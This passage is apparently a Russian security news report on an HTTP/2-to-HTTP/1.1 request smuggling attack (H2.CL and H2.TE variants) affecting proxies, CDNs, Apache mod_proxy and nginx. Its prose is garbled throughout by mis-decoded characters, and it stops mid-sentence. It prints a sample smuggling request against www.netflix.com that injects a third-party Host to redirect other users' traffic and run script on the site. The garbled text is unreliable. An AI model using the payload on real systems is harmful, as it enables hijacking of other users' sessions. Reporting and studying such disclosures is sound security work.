Web-ΡΠΈΡΡΠ΅ΠΌΡ, Π² ΠΊΠΎΡΠΎΡΡΡ ΡΡΠΎΠ½ΡΡΠ½Π΄ ΠΏΡΠΈΠ½ΠΈΠΌΠ°Π΅Ρ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΡ ΠΏΠΎ HTTP/2 ΠΈ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡ Π±ΡΠΊΠ΅Π½Π΄Ρ ΠΏΠΎ HTTP/1.1, ΠΎΠΊΠ°Π·Π°Π»ΠΈΡΡ ΠΏΠΎΠ΄Π²Π΅ΡΠΆΠ΅Π½Ρ Π½ΠΎΠ²ΠΎΠΌΡ Π²Π°ΡΠΈΠ°Π½ΡΡ Π°ΡΠ°ΠΊΠΈ «HTTP Request Smuggling», ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡΠ΅ΠΉ ΡΠ΅ΡΠ΅Π· ΠΎΡΠΏΡΠ°Π²ΠΊΡ ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΠΎ ΠΎΡΠΎΡΠΌΠ»Π΅Π½Π½ΡΡ ΠΊΠ»ΠΈΠ΅Π½ΡΡΠΊΠΈΡ Π·Π°ΠΏΡΠΎΡΠΎΠ² Π²ΠΊΠ»ΠΈΠ½ΠΈΠ²Π°ΡΡΡΡ Π² ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ Π·Π°ΠΏΡΠΎΡΠΎΠ² Π΄ΡΡΠ³ΠΈΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ, ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°Π΅ΠΌΡΡ Π² ΡΠΎΠΌ ΠΆΠ΅ ΠΏΠΎΡΠΎΠΊΠ΅ ΠΌΠ΅ΠΆΠ΄Ρ ΡΡΠΎΠ½ΡΡΠ½Π΄ΠΎΠΌ ΠΈ Π±ΡΠΊΠ΅Π½Π΄ΠΎΠΌ. ΠΡΠ°ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½Π° Π΄Π»Ρ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠ³ΠΎ JavaScript-ΠΊΠΎΠ΄Π° Π² ΡΠ΅Π°Π½Ρ Ρ Π»Π΅Π³ΠΈΡΠΈΠΌΠ½ΡΠΌ ΡΠ°ΠΉΡΠΎΠΌ, ΠΎΠ±Ρ ΠΎΠ΄Π° ΡΠΈΡΡΠ΅ΠΌ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΡ Π΄ΠΎΡΡΡΠΏΠ° ΠΈ ΠΏΠ΅ΡΠ΅Ρ Π²Π°ΡΠ° ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΎΠ² Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ.
ΠΡΠΎΠ±Π»Π΅ΠΌΠ΅ ΠΏΠΎΠ΄Π²Π΅ΡΠΆΠ΅Π½Ρ web-ΠΏΡΠΎΠΊΡΠΈ, Π±Π°Π»Π°Π½ΡΠΈΡΠΎΠ²ΡΠΈΠΊΠΈ Π½Π°Π³ΡΡΠ·ΠΊΠΈ, web-Π°ΠΊΡΠ΅Π»Π΅ΡΠ°ΡΠΎΡΡ, ΡΠΈΡΡΠ΅ΠΌΡ Π΄ΠΎΡΡΠ°Π²ΠΊΠΈ ΠΊΠΎΠ½ΡΠ΅Π½ΡΠ° ΠΈ ΠΏΡΠΎΡΠΈΠ΅ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ, Π² ΠΊΠΎΡΠΎΡΡΡ Π·Π°ΠΏΡΠΎΡΡ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»ΡΡΡΡΡ ΠΏΠΎ ΡΡ Π΅ΠΌΠ΅ ΡΡΠΎΠ½ΡΡΠ½Π΄-Π±ΡΠΊΠ΅Π½Π΄. ΠΠ²ΡΠΎΡ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΡ ΠΏΡΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡΡΠΈΡΠΎΠ²Π°Π» Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ Π°ΡΠ°ΠΊΠΈ Π½Π° ΡΠΈΡΡΠ΅ΠΌΡ Netflix, Verizon, Bitbucket, Netlify CDN ΠΈ Atlassian, ΠΈ ΠΏΠΎΠ»ΡΡΠΈΠ» 56 ΡΡΡΡΡ Π΄ΠΎΠ»Π»Π°ΡΠΎΠ² Π² ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°Ρ ΠΏΠΎ Π²ΡΠΏΠ»Π°ΡΠ΅ Π²ΠΎΠ·Π½Π°Π³ΡΠ°ΠΆΠ΄Π΅Π½ΠΈΠΉ Π·Π° Π²ΡΡΠ²Π»Π΅Π½ΠΈΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠ΅ΠΉ. ΠΠ°Π»ΠΈΡΠΈΠ΅ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ ΡΠ°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄ΡΠ²Π΅ΡΠΆΠ΄Π΅Π½ΠΎ Π² ΠΏΡΠΎΠ΄ΡΠΊΡΠ°Ρ F5 Networks. Π§Π°ΡΡΠΈΡΠ½ΠΎ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°ΡΡΠ°Π³ΠΈΠ²Π°Π΅Ρ mod_proxy Π² http-ΡΠ΅ΡΠ²Π΅ΡΠ΅ Apache (CVE-2021-33193), ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΎΠΆΠΈΠ΄Π°Π΅ΡΡΡ Π² Π²Π΅ΡΡΠΈΠΈ 2.4.49 (ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΈ Π±ΡΠ»ΠΈ ΡΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½Ρ ΠΎ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ΅ Π² Π½Π°ΡΠ°Π»Π΅ ΠΌΠ°Ρ ΠΈ ΠΏΠΎΠ»ΡΡΠΈΠ»ΠΈ 3 ΠΌΠ΅ΡΡΡΠ° Π½Π° ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅). Π nginx Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ ΠΎΠ΄Π½ΠΎΠ²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΡΠΊΠ°Π·Π°Π½ΠΈΡ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² «Content-Length» ΠΈ «Transfer-Encoding Π±ΡΠ»ΠΈ Π±Π»ΠΎΠΊΠΈΡΠΎΠ²Π°Π½Ρ Π² ΠΏΡΠΎΡΠ»ΠΎΠΌ Π²ΡΠΏΡΡΠΊΠ΅ (1.21.1). Π‘ΡΠ΅Π΄ΡΡΠ²Π° Π΄Π»Ρ ΠΏΡΠΎΠ²Π΅Π΄Π΅Π½ΠΈΡ Π°ΡΠ°ΠΊ ΡΠΆΠ΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ Π² ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠ°ΡΠΈΠΉ Burp ΠΈ Π΄ΠΎΡΡΡΠΏΠ½Ρ Π² ΡΠΎΡΠΌΠ΅ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΡ Turbo Intruder.
ΠΡΠΈΠ½ΡΠΈΠΏ Π΄Π΅ΠΉΡΡΠ²ΠΈΡ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΌΠ΅ΡΠΎΠ΄Π° Π²ΠΊΠ»ΠΈΠ½ΠΈΠ²Π°Π½ΠΈΡ Π·Π°ΠΏΡΠΎΡΠΎΠ² Π² ΡΡΠ°ΡΠΈΠΊ Π°Π½Π°Π»ΠΎΠ³ΠΈΡΠ΅Π½ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ, Π²ΡΡΠ²Π»Π΅Π½Π½ΠΎΠΉ ΡΠ΅ΠΌ ΠΆΠ΅ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΌ Π΄Π²Π° Π³ΠΎΠ΄Π° Π½Π°Π·Π°Π΄, Π½ΠΎ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½Π½ΠΎΠΉ ΡΡΠΎΠ½ΡΡΠ½Π΄Π°ΠΌΠΈ, ΠΏΡΠΈΠ½ΠΈΠΌΠ°ΡΡΠΈΠΌΠΈ Π·Π°ΠΏΡΠΎΡΡ ΠΏΠΎ HTTP/1.1. ΠΠ°ΠΏΠΎΠΌΠ½ΠΈΠΌ, ΡΡΠΎ Π² ΡΡ Π΅ΠΌΠ΅ ΡΡΠΎΠ½ΡΡΠ½Π΄-Π±ΡΠΊΠ΅Π½Π΄ Π·Π°ΠΏΡΠΎΡΡ ΠΊΠ»ΠΈΠ΅Π½ΡΠΎΠ² ΠΏΡΠΈΠ½ΠΈΠΌΠ°Π΅Ρ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠΉ ΡΠ·Π΅Π» — ΡΡΠΎΠ½ΡΡΠ½Π΄, ΠΊΠΎΡΠΎΡΡΠΉ ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ Π΄ΠΎΠ»Π³ΠΎΠΆΠΈΠ²ΡΡΡΠ΅Π΅ TCP-ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ Ρ Π±ΡΠΊΠ΅Π½Π΄ΠΎΠΌ, ΠΎΡΡΡΠ΅ΡΡΠ²Π»ΡΡΡΠΈΠΌ Π½Π΅ΠΏΠΎΡΡΠ΅Π΄ΡΡΠ²Π΅Π½Π½ΡΡ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΡ Π·Π°ΠΏΡΠΎΡΠΎΠ². Π§Π΅ΡΠ΅Π· Π΄Π°Π½Π½ΠΎΠ΅ ΠΎΠ±ΡΠ΅Π΅ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡΡΠ½ΠΎ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡΡΡ Π·Π°ΠΏΡΠΎΡΡ ΡΠ°Π·Π½ΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ, ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ»Π΅Π΄ΡΡΡ ΠΏΠΎ ΡΠ΅ΠΏΠΎΡΠΊΠ΅ ΠΎΠ΄ΠΈΠ½ Π·Π° Π΄ΡΡΠ³ΠΈΠΌ Ρ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ ΡΡΠ΅Π΄ΡΡΠ²Π°ΠΌΠΈ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π° HTTP.
ΠΠ»Π°ΡΡΠΈΡΠ΅ΡΠΊΠ°Ρ Π°ΡΠ°ΠΊΠ° «HTTP Request Smuggling» ΠΎΡΠ½ΠΎΠ²ΡΠ²Π°Π»Π°ΡΡ Π½Π° ΡΠΎΠΌ, ΡΡΠΎ ΡΡΠΎΠ½ΡΡΠ½Π΄Ρ ΠΈ Π±ΡΠΊΠ΅Π½Π΄Ρ ΠΏΠΎ ΡΠ°Π·Π½ΠΎΠΌΡ ΡΡΠ°ΠΊΡΡΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² «Content-Length» (ΠΎΠΏΡΠ΅Π΄Π΅Π»ΡΠ΅Ρ ΠΎΠ±ΡΠΈΠΉ ΡΠ°Π·ΠΌΠ΅Ρ Π΄Π°Π½Π½ΡΡ Π² Π·Π°ΠΏΡΠΎΡΠ΅) ΠΈ «Transfer-Encoding: chunked» (ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΏΠ΅ΡΠ΅Π΄Π°Π²Π°ΡΡ Π΄Π°Π½Π½ΡΠ΅ ΠΏΠΎ ΡΠ°ΡΡΡΠΌ). ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, Π΅ΡΠ»ΠΈ ΡΡΠΎΠ½ΡΡΠ½Π΄ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅Ρ ΡΠΎΠ»ΡΠΊΠΎ «Content-Length», Π½ΠΎ ΠΈΠ³Π½ΠΎΡΠΈΡΡΠ΅Ρ «Transfer-Encoding: chunked», ΡΠΎ Π°ΡΠ°ΠΊΡΡΡΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ ΠΎΡΠΏΡΠ°Π²ΠΈΡΡ Π·Π°ΠΏΡΠΎΡ, Π² ΠΊΠΎΡΠΎΡΠΎΠΌ ΠΎΠ΄Π½ΠΎΠ²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎ ΡΠΊΠ°Π·Π°Π½Ρ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ «Content-Length» ΠΈ «Transfer-Encoding: chunked», Π½ΠΎ ΡΠ°Π·ΠΌΠ΅Ρ Π² «Content-Length» Π½Π΅ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΠ΅Ρ ΡΠ°Π·ΠΌΠ΅ΡΡ chunked-ΡΠ΅ΠΏΠΎΡΠΊΠΈ. Π ΡΡΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΡΡΠΎΠ½ΡΡΠ½Π΄ ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΠΈ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²ΠΈΡ Π·Π°ΠΏΡΠΎΡ Π² ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΠΈΠΈ Ρ «Content-Length», Π° Π±ΡΠΊΠ΅Π½Π΄ Π±ΡΠ΄Π΅Ρ ΠΎΠΆΠΈΠ΄Π°ΡΡ Π·Π°Π²Π΅ΡΡΠ΅Π½ΠΈΡ Π±Π»ΠΎΠΊΠ° Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ «Transfer-Encoding: chunked» ΠΈ ΠΎΡΡΠ°Π²ΡΠΈΠΉΡΡ Ρ Π²ΠΎΡΡ Π·Π°ΠΏΡΠΎΡΠ° Π°ΡΠ°ΠΊΡΡΡΠ΅Π³ΠΎ ΠΎΠΊΠ°ΠΆΠ΅ΡΡΡ Π²Π½Π°ΡΠ°Π»Π΅ ΡΡΠΆΠΎΠ³ΠΎ Π·Π°ΠΏΡΠΎΡΠ°, ΠΏΠ΅ΡΠ΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡΠ»Π΅Π΄ΠΎΠΌ.
Π ΠΎΡΠ»ΠΈΡΠΈΠ΅ ΠΎΡ ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎΠ³ΠΎ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π° HTTP/1.1, ΡΠ°Π·Π±ΠΎΡ ΠΊΠΎΡΠΎΡΠΎΠ³ΠΎ ΠΎΡΡΡΠ΅ΡΡΠ²Π»ΡΠ΅ΡΡΡ Π½Π° ΡΡΠΎΠ²Π½Π΅ ΡΡΡΠΎΠΊ, HTTP/2 ΡΠ²Π»ΡΠ΅ΡΡΡ Π±ΠΈΠ½Π°ΡΠ½ΡΠΌ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΎΠΌ ΠΈ ΠΌΠ°Π½ΠΈΠΏΡΠ»ΠΈΡΡΠ΅Ρ Π±Π»ΠΎΠΊΠ°ΠΌΠΈ Π΄Π°Π½Π½ΡΡ Π·Π°ΡΠ°Π½Π΅Π΅ ΡΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΡΠ°Π·ΠΌΠ΅ΡΠ°. ΠΡΠΈ ΡΡΠΎΠΌ Π² HTTP/2 ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ ΠΏΡΠ΅Π²Π΄ΠΎ-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠΈΠ΅ ΠΎΠ±ΡΡΠ½ΡΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ HTTP. Π ΡΠ»ΡΡΠ°Π΅ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΡ Ρ Π±ΡΠΊΠ΅Π½Π΄ΠΎΠΌ ΠΏΠΎ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Ρ HTTP/1.1, ΡΡΠΎΠ½ΡΡΠ½Π΄ ΡΡΠ°Π½ΡΠ»ΠΈΡΡΠ΅Ρ ΡΡΠΈ ΠΏΡΠ΅Π²Π΄ΠΎ-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π² Π°Π½Π°Π»ΠΎΠ³ΠΈΡΠ½ΡΠ΅ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ HTTP/1.1. ΠΡΠΎΠ±Π»Π΅ΠΌΠ° Π² ΡΠΎΠΌ, ΡΡΠΎ Π±ΡΠΊΠ΅Π½Π΄ ΠΏΡΠΈΠ½ΠΈΠΌΠ°Π΅Ρ ΡΠ΅ΡΠ΅Π½ΠΈΡ ΠΎ ΡΠ°Π·Π±ΠΎΡΠ΅ ΠΏΠΎΡΠΎΠΊΠ° ΡΠΆΠ΅ Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ Π²ΡΡΡΠ°Π²Π»Π΅Π½Π½ΡΡ ΡΡΠΎΠ½ΡΡΠ½Π΄ΠΎΠΌ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², Π½Π΅ ΠΈΠΌΠ΅Ρ ΡΠ²Π΅Π΄Π΅Π½ΠΈΠΉ ΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ°Ρ ΠΈΠ·Π½Π°ΡΠ°Π»ΡΠ½ΠΎΠ³ΠΎ Π·Π°ΠΏΡΠΎΡΠ°.
Π ΡΠΎΠΌ ΡΠΈΡΠ»Π΅ Π² ΡΠΎΡΠΌΠ΅ ΠΏΡΠ΅Π²Π΄ΠΎ-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ ΠΏΠ΅ΡΠ΅Π΄Π°Π½Ρ Π·Π½Π°ΡΠ΅Π½ΠΈΡ «content-length» ΠΈ «transfer-encoding», Π½Π΅ΡΠΌΠΎΡΡΡ Π½Π° ΡΠΎ, ΡΡΠΎ Π² HTTP/2 ΠΎΠ½ΠΈ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ, ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΡΠ°Π·ΠΌΠ΅Ρ Π²ΡΠ΅Ρ Π΄Π°Π½Π½ΡΡ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΡΠ΅ΡΡΡ Π² ΠΎΡΠ΄Π΅Π»ΡΠ½ΠΎΠΌ ΠΏΠΎΠ»Π΅. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π² ΠΏΡΠΎΡΠ΅ΡΡΠ΅ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ Π·Π°ΠΏΡΠΎΡΠ° HTTP/2 Π² HTTP/1.1 Π΄Π°Π½Π½ΡΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΏΠ΅ΡΠ΅Π½ΠΎΡΡΡΡΡ ΠΈ ΠΌΠΎΠ³ΡΡ Π²Π²Π΅ΡΡΠΈ Π² Π·Π°Π±Π»ΡΠΆΠ΄Π΅Π½ΠΈΠ΅ Π±ΡΠΊΠ΅Π½Π΄. ΠΡΠ΄Π΅Π»ΡΠ΅ΡΡΡ Π΄Π²Π° ΠΎΡΠ½ΠΎΠ²Π½ΡΡ Π²Π°ΡΠΈΠ°Π½ΡΠ° Π°ΡΠ°ΠΊΠΈ: H2.TE ΠΈ H2.CL, Π² ΠΊΠΎΡΠΎΡΡΡ Π±ΡΠΊΠ΅Π½Π΄ Π²Π²ΠΎΠ΄ΠΈΡΡΡ Π² Π·Π°Π±Π»ΡΠΆΠ΄Π΅Π½ΠΈΠ΅ Π½Π΅ΠΊΠΎΡΡΠ΅ΠΊΡΠ½ΡΠΌ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ΠΌ transfer-encoding ΠΈΠ»ΠΈ content-length, Π½Π΅ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠΈΠΌ ΡΠ΅Π°Π»ΡΠ½ΠΎΠΌΡ ΡΠ°Π·ΠΌΠ΅ΡΡ ΡΠ΅Π»Π° Π·Π°ΠΏΡΠΎΡΠ°, ΠΏΠΎΡΡΡΠΏΠΈΠ²ΡΠ΅Π³ΠΎ ΠΊ ΡΡΠΎΠ½ΡΡΠ½Π΄Ρ ΠΏΠΎ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Ρ HTTP/2.
Π ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΡΠΈΠΌΠ΅ΡΠ° Π°ΡΠ°ΠΊΠΈ H2.CL ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΡΡΡ ΡΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π½Π΅ΠΊΠΎΡΡΠ΅ΠΊΡΠ½ΠΎΠ³ΠΎ ΡΠ°Π·ΠΌΠ΅ΡΠ° Π² ΠΏΡΠ΅Π²Π΄ΠΎ-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ content-length ΠΏΡΠΈ ΠΎΡΠΏΡΠ°Π²ΠΊΠ΅ Π·Π°ΠΏΡΠΎΡΠ° HTTP/2 ΠΊ Netflix. ΠΠ°Π½Π½ΡΠΉ Π·Π°ΠΏΡΠΎΡ ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΡ ΠΊ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΡ Π°Π½Π°Π»ΠΎΠ³ΠΈΡΠ½ΠΎΠ³ΠΎ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π‘ontent-Length ΠΏΡΠΈ ΠΎΠ±ΡΠ°ΡΠ΅Π½ΠΈΠΈ ΠΊ Π±ΡΠΊΠ΅Π½Π΄Ρ ΠΏΠΎ HTTP/1.1, Π½ΠΎ ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΡΠ°Π·ΠΌΠ΅Ρ Π² Π‘ontent-Length ΡΠΊΠ°Π·Π°Π½ ΠΌΠ΅Π½ΡΡΠ΅ ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ, ΡΠΎ ΡΠ°ΡΡΡ Π΄Π°Π½Π½ΡΡ Π² Ρ Π²ΠΎΡΡΠ΅ ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°Π΅ΡΡΡ ΠΊΠ°ΠΊ Π½Π°ΡΠ°Π»ΠΎ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π³ΠΎ Π·Π°ΠΏΡΠΎΡΠ°.
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, Π·Π°ΠΏΡΠΎΡ HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
ΠΡΠΈΠ²Π΅Π΄ΡΡ ΠΊ ΠΎΡΠΏΡΠ°Π²ΠΊΠ΅ Π±ΡΠΊΠ΅Π½Π΄Ρ Π·Π°ΠΏΡΠΎΡΠ°: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Π’Π°ΠΊ ΠΊΠ°ΠΊ Content-Length ΠΈΠΌΠ΅Π΅Ρ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ 4, ΡΠΎ Π±ΡΠΊΠ΅Π½Π΄ Π²ΠΎΡΠΏΡΠΈΠΌΠ΅Ρ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΡΠ΅Π»Π° Π·Π°ΠΏΡΠΎΡΠ° ΡΠΎΠ»ΡΠΊΠΎ «abcd», Π° ΠΎΡΡΠ°Π»ΡΠ½ΡΡ ΡΠ°ΡΡΡ «GET /n HTTP/1.1…» ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΠΊΠ°ΠΊ Π½Π°ΡΠ°Π»ΠΎ ΡΠ»Π΅Π΄ΠΎΠΌ ΠΈΠ΄ΡΡΠ΅Π³ΠΎ Π·Π°ΠΏΡΠΎΡΠ°, ΠΏΡΠΈΠ²ΡΠ·Π°Π½Π½ΠΎΠ³ΠΎ ΠΊ Π΄ΡΡΠ³ΠΎΠΌΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ. Π‘ΠΎΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎ, ΠΏΡΠΎΠΈΠ·ΠΎΠΉΠ΄ΡΡ ΡΠ°ΡΡΠΈΠ½Ρ ΡΠΎΠ½ΠΈΠ·Π°ΡΠΈΡ ΠΏΠΎΡΠΎΠΊΠ° ΠΈ Π² ΠΎΡΠ²Π΅Ρ Π½Π° ΡΠ»Π΅Π΄ΠΎΠΌ ΠΈΠ΄ΡΡΠΈΠΉ Π·Π°ΠΏΡΠΎΡ Π±ΡΠ΄Π΅Ρ Π²ΡΠ΄Π°Π½ ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΠΏΠΎΠ΄ΡΡΠ°Π²Π½ΠΎΠ³ΠΎ Π·Π°ΠΏΡΠΎΡΠ°. Π ΡΠ»ΡΡΠ°Π΅ Ρ Netflix ΡΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΡΡΠΎΡΠΎΠ½Π½Π΅Π³ΠΎ Ρ ΠΎΡΡΠ° Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ «Host:» Π² ΠΏΠΎΠ΄ΡΡΠ°Π²Π½ΠΎΠΌ Π·Π°ΠΏΡΠΎΡΠ΅ ΠΏΡΠΈΠ²Π΅Π»ΠΎ ΠΊ Π²ΡΠ²ΠΎΠ΄Ρ ΠΊΠ»ΠΈΠ΅Π½ΡΡ ΠΎΡΠ²Π΅ΡΠ° «Location: https://02.rs?x.netflix.com/n» ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»ΠΎ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡ ΠΊΠ»ΠΈΠ΅Π½ΡΡ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΠΎΠ΅ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅, Π² ΡΠΎΠΌ ΡΠΈΡΠ»Π΅ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΡΠ²ΠΎΠΉ JavaScript-ΠΊΠΎΠ΄ Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅ ΡΠ°ΠΉΡΠ° Netflix.
ΠΡΠΎΡΠΎΠΉ Π²Π°ΡΠΈΠ°Π½Ρ Π°ΡΠ°ΠΊΠΈ (H2.TE) ΡΠ²ΡΠ·Π°Π½ Ρ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΠΎΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «Transfer-Encoding: chunked». ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡΠ΅Π²Π΄ΠΎ-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° transfer-encoding Π² HTTP/2 Π·Π°ΠΏΡΠ΅ΡΠ΅Π½ΠΎ ΡΠΏΠ΅ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠ΅ΠΉ ΠΈ Π·Π°ΠΏΡΠΎΡΡ Ρ Π½ΠΈΠΌ ΠΏΡΠ΅Π΄ΠΏΠΈΡΠ°Π½ΠΎ ΡΡΠ°ΠΊΡΠΎΠ²Π°ΡΡ ΠΊΠ°ΠΊ Π½Π΅ΠΊΠΎΡΡΠ΅ΠΊΡΠ½ΡΠ΅. ΠΠ΅ΡΠΌΠΎΡΡΡ Π½Π° ΡΡΠΎ, Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΠΈ ΡΡΠΎΠ½ΡΡΠ½Π΄ΠΎΠ² Π½Π΅ ΡΡΠΈΡΡΠ²Π°ΡΡ 